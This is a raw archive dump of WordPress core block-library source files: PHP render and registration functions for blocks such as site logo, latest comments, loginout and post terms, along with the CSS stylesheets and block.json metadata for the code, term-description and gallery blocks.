* Returns CSS classes for icon and icon background colors.
*
* @since 6.3.0
*
* @param array $context Block context passed to Social Sharing Link.
*
* @return string CSS classes for link's icon and background colors.
*/
function block_core_social_link_get_color_classes( $context ) {
$classes = array();
if ( array_key_exists( 'iconColor', $context ) ) {
$classes[] = 'has-' . $context['iconColor'] . '-color';
}
if ( array_key_exists( 'iconBackgroundColor', $context ) ) {
$classes[] = 'has-' . $context['iconBackgroundColor'] . '-background-color';
}
return ' ' . implode( ' ', $classes );
}
site-logo.php 0000644 00000014276 15237550573 0007205 0 ustar 00 <?php
/**
* Server-side rendering of the `core/site-logo` block.
*
* @package WordPress
*/
/**
* Renders the `core/site-logo` block on the server.
*
* @since 5.8.0
*
* @param array $attributes The block attributes.
*
* @return string The render.
*/
function render_block_core_site_logo( $attributes ) {
$adjust_width_height_filter = static function ( $image ) use ( $attributes ) {
if ( empty( $attributes['width'] ) || empty( $image ) || ! $image[1] || ! $image[2] ) {
return $image;
}
$height = (float) $attributes['width'] / ( (float) $image[1] / (float) $image[2] );
return array( $image[0], (int) $attributes['width'], (int) $height );
};
add_filter( 'wp_get_attachment_image_src', $adjust_width_height_filter );
$custom_logo = get_custom_logo();
remove_filter( 'wp_get_attachment_image_src', $adjust_width_height_filter );
if ( empty( $custom_logo ) ) {
return ''; // Return early if no custom logo is set, avoiding extraneous wrapper div.
}
if ( ! $attributes['isLink'] ) {
// Remove the link.
$custom_logo = preg_replace( '#<a.*?>(.*?)</a>#i', '\1', $custom_logo );
}
if ( $attributes['isLink'] && '_blank' === $attributes['linkTarget'] ) {
// Add the link target after the rel="home".
// Add an aria-label for informing that the page opens in a new tab.
$processor = new WP_HTML_Tag_Processor( $custom_logo );
$processor->next_tag( 'a' );
if ( 'home' === $processor->get_attribute( 'rel' ) ) {
$processor->set_attribute( 'aria-label', __( '(Home link, opens in a new tab)' ) );
$processor->set_attribute( 'target', $attributes['linkTarget'] );
}
$custom_logo = $processor->get_updated_html();
}
$classnames = array();
if ( empty( $attributes['width'] ) ) {
$classnames[] = 'is-default-size';
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) );
$html = sprintf( '<div %s>%s</div>', $wrapper_attributes, $custom_logo );
return $html;
}
/**
* Register a core site setting for a site logo
*
* @since 5.8.0
*/
function register_block_core_site_logo_setting() {
register_setting(
'general',
'site_logo',
array(
'show_in_rest' => array(
'name' => 'site_logo',
),
'type' => 'integer',
'label' => __( 'Logo' ),
'description' => __( 'Site logo.' ),
)
);
}
add_action( 'rest_api_init', 'register_block_core_site_logo_setting', 10 );
/**
* Register a core site setting for a site icon
*
* @since 5.9.0
*/
function register_block_core_site_icon_setting() {
register_setting(
'general',
'site_icon',
array(
'show_in_rest' => true,
'type' => 'integer',
'label' => __( 'Icon' ),
'description' => __( 'Site icon.' ),
)
);
}
add_action( 'rest_api_init', 'register_block_core_site_icon_setting', 10 );
/**
* Registers the `core/site-logo` block on the server.
*
* @since 5.8.0
*/
function register_block_core_site_logo() {
register_block_type_from_metadata(
__DIR__ . '/site-logo',
array(
'render_callback' => 'render_block_core_site_logo',
)
);
}
add_action( 'init', 'register_block_core_site_logo' );
/**
* Overrides the custom logo with a site logo, if the option is set.
*
* @since 5.8.0
*
* @param string $custom_logo The custom logo set by a theme.
*
* @return string The site logo if set.
*/
function _override_custom_logo_theme_mod( $custom_logo ) {
$site_logo = get_option( 'site_logo' );
return false === $site_logo ? $custom_logo : $site_logo;
}
add_filter( 'theme_mod_custom_logo', '_override_custom_logo_theme_mod' );
/**
* Updates the site_logo option when the custom_logo theme-mod gets updated.
*
* @since 5.8.0
*
* @param mixed $value Attachment ID of the custom logo or an empty value.
* @return mixed
*/
function _sync_custom_logo_to_site_logo( $value ) {
if ( empty( $value ) ) {
delete_option( 'site_logo' );
} else {
update_option( 'site_logo', $value );
}
return $value;
}
add_filter( 'pre_set_theme_mod_custom_logo', '_sync_custom_logo_to_site_logo' );
/**
* Deletes the site_logo when the custom_logo theme mod is removed.
*
* @since 5.8.0
*
* @global array $_ignore_site_logo_changes
*
* @param array $old_value Previous theme mod settings.
* @param array $value Updated theme mod settings.
*/
function _delete_site_logo_on_remove_custom_logo( $old_value, $value ) {
global $_ignore_site_logo_changes;
if ( $_ignore_site_logo_changes ) {
return;
}
// If the custom_logo is being unset, it's being removed from theme mods.
if ( isset( $old_value['custom_logo'] ) && ! isset( $value['custom_logo'] ) ) {
delete_option( 'site_logo' );
}
}
/**
* Deletes the site logo when all theme mods are being removed.
*
* @since 5.8.0
*
* @global array $_ignore_site_logo_changes
*/
function _delete_site_logo_on_remove_theme_mods() {
global $_ignore_site_logo_changes;
if ( $_ignore_site_logo_changes ) {
return;
}
if ( false !== get_theme_support( 'custom-logo' ) ) {
delete_option( 'site_logo' );
}
}
/**
* Hooks `_delete_site_logo_on_remove_custom_logo` in `update_option_theme_mods_$theme`.
* Hooks `_delete_site_logo_on_remove_theme_mods` in `delete_option_theme_mods_$theme`.
*
* Runs on `setup_theme` to account for dynamically-switched themes in the Customizer.
*
* @since 5.8.0
*/
function _delete_site_logo_on_remove_custom_logo_on_setup_theme() {
$theme = get_option( 'stylesheet' );
add_action( "update_option_theme_mods_$theme", '_delete_site_logo_on_remove_custom_logo', 10, 2 );
add_action( "delete_option_theme_mods_$theme", '_delete_site_logo_on_remove_theme_mods' );
}
add_action( 'setup_theme', '_delete_site_logo_on_remove_custom_logo_on_setup_theme', 11 );
/**
* Removes the custom_logo theme-mod when the site_logo option gets deleted.
*
* @since 5.9.0
*
* @global array $_ignore_site_logo_changes
*/
function _delete_custom_logo_on_remove_site_logo() {
global $_ignore_site_logo_changes;
// Prevent _delete_site_logo_on_remove_custom_logo and
// _delete_site_logo_on_remove_theme_mods from firing and causing an
// infinite loop.
$_ignore_site_logo_changes = true;
// Remove the custom logo.
remove_theme_mod( 'custom_logo' );
$_ignore_site_logo_changes = false;
}
add_action( 'delete_option_site_logo', '_delete_custom_logo_on_remove_site_logo' );
file.php 0000644 00000003527 15237550573 0006217 0 ustar 00 <?php
/**
* Server-side rendering of the `core/file` block.
*
* @package WordPress
*/
/**
* When the `core/file` block is rendering, check if we need to enqueue the `wp-block-file-view` script.
*
* @since 5.8.0
*
* @param array $attributes The block attributes.
* @param string $content The block content.
*
* @return string Returns the block content.
*/
function render_block_core_file( $attributes, $content ) {
if ( empty( $attributes['displayPreview'] ) ) {
return $content;
}
// If it's interactive, enqueue the script module and add the directives.
wp_enqueue_script_module( '@wordpress/block-library/file/view' );
$processor = new WP_HTML_Tag_Processor( $content );
if ( $processor->next_tag() ) {
$processor->set_attribute( 'data-wp-interactive', 'core/file' );
}
// If there are no OBJECT elements, something might have already modified the block.
if ( ! $processor->next_tag( 'OBJECT' ) ) {
return $content;
}
$processor->set_attribute( 'data-wp-bind--hidden', '!state.hasPdfPreview' );
$processor->set_attribute( 'hidden', true );
$filename = $processor->get_attribute( 'aria-label' );
$has_filename = is_string( $filename ) && ! empty( $filename ) && 'PDF embed' !== $filename;
$label = $has_filename ? sprintf(
/* translators: %s: filename. */
__( 'Embed of %s.' ),
$filename
) : __( 'PDF embed' );
// Update object's aria-label attribute if present in block HTML.
// Match an aria-label attribute from an object tag.
$processor->set_attribute( 'aria-label', $label );
return $processor->get_updated_html();
}
/**
* Registers the `core/file` block on server.
*
* @since 5.8.0
*/
function register_block_core_file() {
register_block_type_from_metadata(
__DIR__ . '/file',
array(
'render_callback' => 'render_block_core_file',
)
);
}
add_action( 'init', 'register_block_core_file' );
latest-comments.php 0000644 00000012560 15237550573 0010414 0 ustar 00 <?php
/**
* Server-side rendering of the `core/latest-comments` block.
*
* @package WordPress
*/
/**
* Get the post title.
*
* The post title is fetched and if it is blank then a default string is
* returned.
*
* Copied from `wp-admin/includes/template.php`, but we can't include that
* file because:
*
* 1. It causes bugs with test fixture generation and strange Docker 255 error
* codes.
* 2. It's in the admin; ideally we *shouldn't* be including files from the
* admin for a block's output. It's a very small/simple function as well,
* so duplicating it isn't too terrible.
*
* @since 3.3.0
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
* @return string The post title if set; "(no title)" if no title is set.
*/
function wp_latest_comments_draft_or_post_title( $post = 0 ) {
$title = get_the_title( $post );
if ( empty( $title ) ) {
$title = __( '(no title)' );
}
return $title;
}
/**
* Renders the `core/latest-comments` block on server.
*
* @since 5.1.0
*
* @param array $attributes The block attributes.
*
* @return string Returns the post content with latest comments added.
*/
function render_block_core_latest_comments( $attributes ) {
// Handle backward compatibility: check for old displayExcerpt attribute
if ( isset( $attributes['displayExcerpt'] ) ) {
$display_content = $attributes['displayExcerpt'] ? 'excerpt' : 'none';
} else {
$display_content = $attributes['displayContent'] ?? 'excerpt';
}
$comments = get_comments(
/** This filter is documented in wp-includes/widgets/class-wp-widget-recent-comments.php */
apply_filters(
'widget_comments_args',
array(
'number' => $attributes['commentsToShow'],
'status' => 'approve',
'post_status' => 'publish',
),
array()
)
);
$list_items_markup = '';
if ( ! empty( $comments ) ) {
// Prime the cache for associated posts. This is copied from \WP_Widget_Recent_Comments::widget().
$post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) );
_prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false );
foreach ( $comments as $comment ) {
$list_items_markup .= '<li class="wp-block-latest-comments__comment">';
if ( $attributes['displayAvatar'] ) {
$avatar = get_avatar(
$comment,
48,
'',
'',
array(
'class' => 'wp-block-latest-comments__comment-avatar',
)
);
if ( $avatar ) {
$list_items_markup .= $avatar;
}
}
$list_items_markup .= '<article>';
$list_items_markup .= '<footer class="wp-block-latest-comments__comment-meta">';
$author_url = get_comment_author_url( $comment );
if ( empty( $author_url ) && ! empty( $comment->user_id ) ) {
$author_url = get_author_posts_url( $comment->user_id );
}
$author_markup = '';
if ( $author_url ) {
$author_markup .= '<a class="wp-block-latest-comments__comment-author" href="' . esc_url( $author_url ) . '">' . get_comment_author( $comment ) . '</a>';
} else {
$author_markup .= '<span class="wp-block-latest-comments__comment-author">' . get_comment_author( $comment ) . '</span>';
}
// `_draft_or_post_title` calls `esc_html()` so we don't need to wrap that call in
// `esc_html`.
$post_title = '<a class="wp-block-latest-comments__comment-link" href="' . esc_url( get_comment_link( $comment ) ) . '">' . wp_latest_comments_draft_or_post_title( $comment->comment_post_ID ) . '</a>';
$list_items_markup .= sprintf(
/* translators: 1: author name (inside <a> or <span> tag, based on if they have a URL), 2: post title related to this comment */
__( '%1$s on %2$s' ),
$author_markup,
$post_title
);
if ( $attributes['displayDate'] ) {
$list_items_markup .= sprintf(
'<time datetime="%1$s" class="wp-block-latest-comments__comment-date">%2$s</time>',
esc_attr( get_comment_date( 'c', $comment ) ),
date_i18n( get_option( 'date_format' ), get_comment_date( 'U', $comment ) )
);
}
$list_items_markup .= '</footer>';
if ( 'full' === $display_content ) {
$list_items_markup .= '<div class="wp-block-latest-comments__comment-excerpt">' . wpautop( get_comment_text( $comment ) ) . '</div>';
} elseif ( 'excerpt' === $display_content ) {
$list_items_markup .= '<div class="wp-block-latest-comments__comment-excerpt">' . wpautop( get_comment_excerpt( $comment ) ) . '</div>';
}
$list_items_markup .= '</article></li>';
}
}
$classnames = array();
if ( $attributes['displayAvatar'] ) {
$classnames[] = 'has-avatars';
}
if ( $attributes['displayDate'] ) {
$classnames[] = 'has-dates';
}
if ( 'none' !== $display_content ) {
$classnames[] = 'has-excerpts';
}
if ( empty( $comments ) ) {
$classnames[] = 'no-comments';
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) );
return ! empty( $comments ) ? sprintf(
'<ol %1$s>%2$s</ol>',
$wrapper_attributes,
$list_items_markup
) : sprintf(
'<div %1$s>%2$s</div>',
$wrapper_attributes,
__( 'No comments to show.' )
);
}
/**
* Registers the `core/latest-comments` block.
*
* @since 5.3.0
*/
function register_block_core_latest_comments() {
register_block_type_from_metadata(
__DIR__ . '/latest-comments',
array(
'render_callback' => 'render_block_core_latest_comments',
)
);
}
add_action( 'init', 'register_block_core_latest_comments' );
heading.php 0000644 00000002425 15237550573 0006673 0 ustar 00 <?php
/**
* Appending the wp-block-heading to before rendering the stored `core/heading` block contents.
*
* @package WordPress
*/
/**
* Adds a wp-block-heading class to the heading block content.
*
* For example, the following block content:
* <h2 class="align-left">Hello World</h2>
*
* Would be transformed to:
* <h2 class="align-left wp-block-heading">Hello World</h2>
*
* @since 6.2.0
*
* @param array $attributes Attributes of the block being rendered.
* @param string $content Content of the block being rendered.
*
* @return string The content of the block being rendered.
*/
function block_core_heading_render( $attributes, $content ) {
if ( ! $content ) {
return $content;
}
$p = new WP_HTML_Tag_Processor( $content );
$header_tags = array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' );
while ( $p->next_tag() ) {
if ( in_array( $p->get_tag(), $header_tags, true ) ) {
$p->add_class( 'wp-block-heading' );
break;
}
}
return $p->get_updated_html();
}
/**
* Registers the `core/heading` block on server.
*
* @since 6.2.0
*/
function register_block_core_heading() {
register_block_type_from_metadata(
__DIR__ . '/heading',
array(
'render_callback' => 'block_core_heading_render',
)
);
}
add_action( 'init', 'register_block_core_heading' );
comment-content.php 0000644 00000004633 15237550573 0010411 0 ustar 00 <?php
/**
* Server-side rendering of the `core/comment-content` block.
*
* @package WordPress
*/
/**
* Renders the `core/comment-content` block on the server.
*
* @since 6.0.0
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
* @return string Return the post comment's content.
*/
function render_block_core_comment_content( $attributes, $content, $block ) {
if ( ! isset( $block->context['commentId'] ) ) {
return '';
}
$comment = get_comment( $block->context['commentId'] );
$commenter = wp_get_current_commenter();
$show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author'];
if ( empty( $comment ) ) {
return '';
}
$args = array();
$comment_text = get_comment_text( $comment, $args );
if ( ! $comment_text ) {
return '';
}
/** This filter is documented in wp-includes/comment-template.php */
$comment_text = apply_filters( 'comment_text', $comment_text, $comment, $args );
$moderation_note = '';
if ( '0' === $comment->comment_approved ) {
$commenter = wp_get_current_commenter();
if ( $commenter['comment_author_email'] ) {
$moderation_note = __( 'Your comment is awaiting moderation.' );
} else {
$moderation_note = __( 'Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved.' );
}
$moderation_note = '<p><em class="comment-awaiting-moderation">' . $moderation_note . '</em></p>';
if ( ! $show_pending_links ) {
$comment_text = wp_kses( $comment_text, array() );
}
}
$classes = array();
if ( isset( $attributes['textAlign'] ) ) {
$classes[] = 'has-text-align-' . $attributes['textAlign'];
}
if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
$classes[] = 'has-link-color';
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );
return sprintf(
'<div %1$s>%2$s%3$s</div>',
$wrapper_attributes,
$moderation_note,
$comment_text
);
}
/**
* Registers the `core/comment-content` block on the server.
*
* @since 6.0.0
*/
function register_block_core_comment_content() {
register_block_type_from_metadata(
__DIR__ . '/comment-content',
array(
'render_callback' => 'render_block_core_comment_content',
)
);
}
add_action( 'init', 'register_block_core_comment_content' );
code/theme-rtl.css 0000644 00000000213 15237550573 0010101 0 ustar 00 .wp-block-code {
border: 1px solid #ccc;
border-radius: 4px;
font-family: Menlo, Consolas, monaco, monospace;
padding: 0.8em 1em;
} code/theme-rtl.min.css 0000644 00000000164 15237550573 0010670 0 ustar 00 .wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em} code/style.min.css 0000644 00000000252 15237550573 0010125 0 ustar 00 .wp-block-code{box-sizing:border-box}.wp-block-code code{direction:ltr;display:block;font-family:inherit;overflow-wrap:break-word;text-align:initial;white-space:pre-wrap} code/style-rtl.min.css 0000644 00000000252 15237550573 0010724 0 ustar 00 .wp-block-code{box-sizing:border-box}.wp-block-code code{direction:ltr;display:block;font-family:inherit;overflow-wrap:break-word;text-align:initial;white-space:pre-wrap} code/theme.css 0000644 00000000213 15237550573 0007302 0 ustar 00 .wp-block-code {
border: 1px solid #ccc;
border-radius: 4px;
font-family: Menlo, Consolas, monaco, monospace;
padding: 0.8em 1em;
} code/style.css 0000644 00000000373 15237550573 0007347 0 ustar 00 .wp-block-code {
box-sizing: border-box;
}
.wp-block-code code {
display: block;
font-family: inherit;
overflow-wrap: break-word;
white-space: pre-wrap;
/*!rtl:begin:ignore*/
direction: ltr;
text-align: initial;
/*!rtl:end:ignore*/
} code/editor.css 0000644 00000000053 15237550573 0007470 0 ustar 00 .wp-block-code code {
background: none;
} code/editor-rtl.css 0000644 00000000053 15237550573 0010267 0 ustar 00 .wp-block-code code {
background: none;
} code/editor-rtl.min.css 0000644 00000000044 15237550573 0011051 0 ustar 00 .wp-block-code code{background:none} code/style-rtl.css 0000644 00000000315 15237550573 0010142 0 ustar 00 .wp-block-code {
box-sizing: border-box;
}
.wp-block-code code {
display: block;
font-family: inherit;
overflow-wrap: break-word;
white-space: pre-wrap;
direction: ltr;
text-align: initial;
} code/block.json 0000644 00000002622 15237550573 0007461 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/code",
"title": "Code",
"category": "text",
"description": "Display code snippets that respect your spacing and tabs.",
"textdomain": "default",
"attributes": {
"content": {
"type": "rich-text",
"source": "rich-text",
"selector": "code",
"__unstablePreserveWhiteSpace": true,
"role": "content"
}
},
"supports": {
"align": [ "wide" ],
"anchor": true,
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"spacing": {
"margin": [ "top", "bottom" ],
"padding": true,
"__experimentalDefaultControls": {
"margin": false,
"padding": false
}
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true,
"__experimentalDefaultControls": {
"width": true,
"color": true
}
},
"color": {
"text": true,
"background": true,
"gradients": true,
"__experimentalDefaultControls": {
"background": true,
"text": true
}
},
"interactivity": {
"clientNavigation": true
}
},
"style": "wp-block-code"
}
code/theme.min.css 0000644 00000000164 15237550573 0010071 0 ustar 00 .wp-block-code{border:1px solid #ccc;border-radius:4px;font-family:Menlo,Consolas,monaco,monospace;padding:.8em 1em} code/editor.min.css 0000644 00000000044 15237550573 0010252 0 ustar 00 .wp-block-code code{background:none} loginout.php 0000644 00000003200 15237550573 0007124 0 ustar 00 <?php
/**
* Server-side rendering of the `core/loginout` block.
*
* @package WordPress
*/
/**
* Renders the `core/loginout` block on server.
*
* @since 5.8.0
*
* @param array $attributes The block attributes.
*
* @return string Returns the login-out link or form.
*/
function render_block_core_loginout( $attributes ) {
/*
* Build the redirect URL. This current url fetching logic matches with the core.
*
* @see https://github.com/WordPress/wordpress-develop/blob/6bf62e58d21739938f3bb3f9e16ba702baf9c2cc/src/wp-includes/general-template.php#L528.
*/
$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$user_logged_in = is_user_logged_in();
$classes = $user_logged_in ? 'logged-in' : 'logged-out';
$contents = wp_loginout(
isset( $attributes['redirectToCurrent'] ) && $attributes['redirectToCurrent'] ? $current_url : '',
false
);
// If logged-out and displayLoginAsForm is true, show the login form.
if ( ! $user_logged_in && ! empty( $attributes['displayLoginAsForm'] ) ) {
// Add a class.
$classes .= ' has-login-form';
// Get the form.
$contents = wp_login_form( array( 'echo' => false ) );
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) );
return '<div ' . $wrapper_attributes . '>' . $contents . '</div>';
}
/**
* Registers the `core/loginout` block on server.
*
* @since 5.8.0
*/
function register_block_core_loginout() {
register_block_type_from_metadata(
__DIR__ . '/loginout',
array(
'render_callback' => 'render_block_core_loginout',
)
);
}
add_action( 'init', 'register_block_core_loginout' );
term-description/style.min.css 0000644 00000000304 15237550573 0012501 0 ustar 00 :where(.wp-block-term-description){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0} term-description/style-rtl.min.css 0000644 00000000304 15237550573 0013300 0 ustar 00 :where(.wp-block-term-description){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-term-description p{margin-bottom:0;margin-top:0} term-description/style.css 0000644 00000000340 15237550573 0011717 0 ustar 00 :where(.wp-block-term-description) {
box-sizing: border-box;
margin-top: var(--wp--style--block-gap);
margin-bottom: var(--wp--style--block-gap);
}
.wp-block-term-description p {
margin-top: 0;
margin-bottom: 0;
} term-description/style-rtl.css 0000644 00000000340 15237550573 0012516 0 ustar 00 :where(.wp-block-term-description) {
box-sizing: border-box;
margin-top: var(--wp--style--block-gap);
margin-bottom: var(--wp--style--block-gap);
}
.wp-block-term-description p {
margin-top: 0;
margin-bottom: 0;
} term-description/block.json 0000644 00000002360 15237550573 0012036 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/term-description",
"title": "Term Description",
"category": "theme",
"description": "Display the description of categories, tags and custom taxonomies when viewing an archive.",
"textdomain": "default",
"usesContext": [ "termId", "taxonomy" ],
"supports": {
"anchor": true,
"align": [ "wide", "full" ],
"html": false,
"color": {
"link": true,
"__experimentalDefaultControls": {
"background": true,
"text": true
}
},
"spacing": {
"padding": true,
"margin": true
},
"typography": {
"fontSize": true,
"lineHeight": true,
"textAlign": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true,
"__experimentalDefaultControls": {
"radius": true,
"color": true,
"width": true,
"style": true
}
}
}
}
post-terms.php 0000644 00000007070 15237550573 0007412 0 ustar 00 <?php
/**
* Server-side rendering of the `core/post-terms` block.
*
* @package WordPress
*/
/**
* Renders the `core/post-terms` block on the server.
*
* @since 5.8.0
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
* @return string Returns the filtered post terms for the current post wrapped inside "a" tags.
*/
function render_block_core_post_terms( $attributes, $content, $block ) {
if ( ! isset( $block->context['postId'] ) || ! isset( $attributes['term'] ) ) {
return '';
}
if ( ! is_taxonomy_viewable( $attributes['term'] ) ) {
return '';
}
$classes = array( 'taxonomy-' . $attributes['term'] );
if ( isset( $attributes['textAlign'] ) ) {
$classes[] = 'has-text-align-' . $attributes['textAlign'];
}
if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
$classes[] = 'has-link-color';
}
$separator = empty( $attributes['separator'] ) ? ' ' : $attributes['separator'];
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );
$prefix = "<div $wrapper_attributes>";
if ( isset( $attributes['prefix'] ) && $attributes['prefix'] ) {
$prefix .= '<span class="wp-block-post-terms__prefix">' . $attributes['prefix'] . '</span>';
}
$suffix = '</div>';
if ( isset( $attributes['suffix'] ) && $attributes['suffix'] ) {
$suffix = '<span class="wp-block-post-terms__suffix">' . $attributes['suffix'] . '</span>' . $suffix;
}
$post_terms = get_the_term_list(
$block->context['postId'],
$attributes['term'],
wp_kses_post( $prefix ),
'<span class="wp-block-post-terms__separator">' . esc_html( $separator ) . '</span>',
wp_kses_post( $suffix )
);
if ( is_wp_error( $post_terms ) || empty( $post_terms ) ) {
return '';
}
return $post_terms;
}
/**
* Returns the available variations for the `core/post-terms` block.
*
* @since 6.5.0
*
* @return array The available variations for the block.
*/
function block_core_post_terms_build_variations() {
$taxonomies = get_taxonomies(
array(
'publicly_queryable' => true,
'show_in_rest' => true,
),
'objects'
);
// Split the available taxonomies to `built_in` and custom ones,
// in order to prioritize the `built_in` taxonomies at the
// search results.
$built_ins = array();
$custom_variations = array();
// Create and register the eligible taxonomies variations.
foreach ( $taxonomies as $taxonomy ) {
$variation = array(
'name' => $taxonomy->name,
'title' => $taxonomy->label,
'description' => sprintf(
/* translators: %s: taxonomy's label */
__( 'Display a list of assigned terms from the taxonomy: %s' ),
$taxonomy->label
),
'attributes' => array(
'term' => $taxonomy->name,
),
'isActive' => array( 'term' ),
'scope' => array( 'inserter', 'transform' ),
);
// Set the category variation as the default one.
if ( 'category' === $taxonomy->name ) {
$variation['isDefault'] = true;
}
if ( $taxonomy->_builtin ) {
$built_ins[] = $variation;
} else {
$custom_variations[] = $variation;
}
}
return array_merge( $built_ins, $custom_variations );
}
/**
* Registers the `core/post-terms` block on the server.
*
* @since 5.8.0
*/
function register_block_core_post_terms() {
register_block_type_from_metadata(
__DIR__ . '/post-terms',
array(
'render_callback' => 'render_block_core_post_terms',
'variation_callback' => 'block_core_post_terms_build_variations',
)
);
}
add_action( 'init', 'register_block_core_post_terms' );
navigation-overlay-close.php 0000644 00000003345 15237550573 0012217 0 ustar 00 <?php
/**
* Server-side registering of the `core/navigation-overlay-close` block.
*
* @package WordPress
*/
/**
* Renders the `core/navigation-overlay-close` block on server.
*
* @since 7.0.0
*
* @param array $attributes The block attributes.
*
* @return string Returns the block content.
*/
function render_block_core_navigation_overlay_close( $attributes ) {
$text = empty( $attributes['text'] ) ? __( 'Close' ) : $attributes['text'];
$display_mode = empty( $attributes['displayMode'] ) ? 'icon' : $attributes['displayMode'];
$show_icon = 'both' === $display_mode || 'icon' === $display_mode;
$show_text = 'both' === $display_mode || 'text' === $display_mode;
$button_text = '';
if ( $show_icon ) {
$button_text .= '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M13 11.8l6.1-6.3-1.1-1-6.1 6.2-6.1-6.2-1.1 1 6.1 6.3-6.5 6.7 1.1 1 6.5-6.6 6.5 6.6 1.1-1z" /></svg>';
}
if ( $show_text ) {
$button_text .= '<span class="wp-block-navigation-overlay-close__text">' . wp_kses_post( $text ) . '</span>';
}
$wrapper_attributes = get_block_wrapper_attributes();
$html_content = sprintf(
'<button %1$s type="button" %2$s >%3$s</button>',
$wrapper_attributes,
! $show_text ? 'aria-label="' . __( 'Close' ) . '"' : '',
$button_text
);
return $html_content;
}
/**
* Registers the navigation overlay close block.
*
* @since 7.0.0
*/
function register_block_core_navigation_overlay_close() {
register_block_type_from_metadata(
__DIR__ . '/navigation-overlay-close',
array(
'render_callback' => 'render_block_core_navigation_overlay_close',
)
);
}
add_action( 'init', 'register_block_core_navigation_overlay_close' );
gallery/theme-rtl.css 0000644 00000003555 15237550573 0010642 0 ustar 00 /**
* Typography
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoints & Media Queries
*/
/**
* Converts a hex value into the rgb equivalent.
*
* @param {string} hex - the hexadecimal value to convert
* @return {string} comma separated rgb values
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Breakpoint mixins
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
/**
* Creates a checkerboard pattern background to indicate transparency.
* @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px.
*/
.blocks-gallery-caption {
color: #555;
font-size: 13px;
text-align: center;
}
.is-dark-theme .blocks-gallery-caption {
color: rgba(255, 255, 255, 0.65);
} gallery/theme-rtl.min.css 0000644 00000000173 15237550573 0011415 0 ustar 00 .blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:#ffffffa6} gallery/style.min.css 0000644 00000037370 15237550573 0010665 0 ustar 00 .blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 1em 1em 0;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-right:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) 